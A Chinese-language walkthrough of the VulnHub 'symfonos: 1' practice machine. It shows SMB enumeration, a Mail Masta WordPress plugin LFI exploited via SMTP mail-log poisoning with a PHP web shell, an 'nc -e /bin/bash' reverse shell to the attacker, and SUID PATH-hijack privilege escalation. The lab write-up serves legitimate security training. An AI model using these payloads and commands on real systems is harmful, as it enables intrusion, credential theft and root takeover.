symfonos: 1靶场
symfonos: 1
来自 <https://www.vulnhub.com/entry/symfonos-1,322/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.252
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.252
端口/服务 | 版本/信息 | 潜在漏洞/风险 | 建议步骤 | 优先级 |
22/SSH | OpenSSH 7.4p1 (Debian) | 可能存在已知漏洞(如CVE-2018-15485),需凭证或私钥访问。 | 1. 弱密码爆破(hydra)。 2. 后续若获取凭证,尝试登录。 | 中 |
25/SMTP | Postfix | 支持VRFY命令,可枚举有效用户。 | 1. 使用smtp-user-enum或手动验证用户。 2. 结合枚举结果进行SSH/SMB爆破。 | 中 |
80/HTTP | Apache 2.4.25 | 网页内容未知,可能存在目录遍历、敏感文件或Web漏洞(如文件包含)。 | 1. 访问页面分析源码。 2. 目录爆破(gobuster)。 3. 检查SQL注入/XSS等漏洞。 | 高 |
139,445/SMB | Samba 4.5.16-Debian | 1. 允许匿名访问(Guest)。 2. 潜在漏洞CVE-2017-7494(需可写共享)。 | 1. 枚举共享(smbclient -L)。 2. 匿名访问检查文件。 3. 若可写共享,尝试利用CVE-2017-7494。 | 高 |
系统信息 | Linux 3.x-4.x (Debian 9?) | 旧内核可能未修补漏洞(如DirtyCow)。 | 1. 提权时检查内核漏洞。 2. 结合其他服务漏洞提升权限。 | 中 |
4,看看SMTP服务的共享资源
登录匿名用户进去,然后信息收集
smbclient //192.168.23.252/anonymous
get attention.txt
由此信息收集得到三个密码epidioko/qwerty/baseball。再访问helios用户的共享资源,经过测试发现helios用户的密码为qwerty。然后登录进去
smbclient //192.168.23.252/helios -U helios
todo.txt发现重要线索
Binge watch Dexter
Dance
Work on /h3l105
5,然后再访问一下80端口的http服务
http://192.168.23.252/h3l105/
需要修改一下域名文件
echo "192.168.23.252 symfonos.local" >>/etc/hosts
http://symfonos.local/h3l105/
扫描网站指纹目录
whatweb -v http://symfonos.local/h3l105/
发现CMS是wordpress,版本是5.2.2
使用wpscan扫描这个网站,发现网站安装了两个插件
wpscan --url http://symfonos.local/h3l105/
然后就搜索这个插件的漏洞
searchsploit mail masta 1
存在文件包含漏洞,将40290.txt下载到本地,查看漏洞描述
searchsploit -m 40290.txt
WordPress插件 Mail Masta 本地文件包含(LFI)
影响版本: 插件版本未知(需验证)
漏洞类型: 未授权本地文件包含(通过pl参数)
风险等级: 高危
漏洞文件:
- /inc/campaign/count_of_send.php
- /inc/lists/csvexport.php
漏洞原理
- 漏洞代码:
include($_GET['pl']); // 直接使用未过滤的GET参数包含文件 - 触发条件:
攻击者通过pl参数指定任意文件路径,服务器未校验输入,直接包含该文件。 - 利用限制:
- 需知道目标服务器文件路径(如/etc/passwd)。
- PHP配置需允许包含本地文件(allow_url_include=Off时仍可包含本地文件)。
漏洞利用步骤
1. 确认插件存在
访问以下路径,确认插件是否安装:
http://目标IP/wp-content/plugins/mail-masta/
若返回404或403,说明插件不存在;若返回200或目录列表,则存在漏洞。
2. 尝试读取敏感文件
- 通过pl参数读取系统文件(如/etc/passwd):
http://目标IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
或
http://目标IP/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd
- 预期结果:
返回/etc/passwd文件内容(需确保Web进程有读取权限)。
3. 进阶利用
- 读取Web配置文件:
尝试获取wp-config.php(数据库凭证):
http://目标IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=../../../../wp-config.php - 日志注入(RCE):
若可读日志文件(如/var/log/apache2/access.log),注入PHP代码到User-Agent,再包含日志文件:
http://目标IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/apache2/access.log - PHP伪协议:
尝试读取PHP文件源码(需allow_url_include=On):
http://目标IP/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/convert.base64-encode/resource=wp-config.php
6,然后尝试漏洞利用读取文件
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd
前面发现网站的web服务器软件是apache,尝试去包含apache的默认日志文件
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/apache2/access.log
看到包含失败。前面信息收集发现靶机还开放了smtp服务,尝试去包含helios用户的邮件日志
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
包含成功,现在可以使用telnet向helios用户发送植入了一句话木马的文件,然后再利用LFI给WEB网站构造RCE漏洞
telnet 192.168.23.252 25
MAIL FROM: icepeak
RCPT TO: helios
data
<?php system($_GET['cmd']); ?>
.
QUIT
然后就是测试网站漏洞是否构造成功
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id
漏洞利用成功,接下来尝试反弹shell
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc%20-e%20/bin/bash%20192.168.23.182%204444
与此同时kali开启对4444端口的监听
python -c 'import pty;pty.spawn("/bin/bash")'
7,信息收集一下
uname -a
lsb_release -a
sudo -l被禁用,再看看suid权限提权利用
find / -perm -u=s -type f 2>/dev/null
查看一个比较特殊的文件,/opt/statuscheck
strings /opt/statuscheck
分析结果:/opt/statuscheck 文件内容解析
1. 文件基本信息
- 文件类型: 64位Linux可执行文件(ELF)
- 编译环境: 使用GCC 6.3.0在Debian 9系统编译
- 依赖库: 依赖libc.so.6(GNU C库),调用system函数执行系统命令
2. 关键字符串分析
- curl -I H 与 http://lHocalhostH:
实际应为 curl -I http://localhost, 程序可能通过system执行此命令,用于检查本地HTTP服务状态(返回HTTP头信息) - system函数调用: 表明程序可能直接执行系统命令,存在潜在命令注入风险
8,发现该程序调用了curl,那么我们可以建一个假的curl,追加/tmp到环境变量开头,这样系统调用curl的时候就可以执行假的curl,进而达到提权效果
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
提权成功,成功变成root用户
cat /root/proof.txt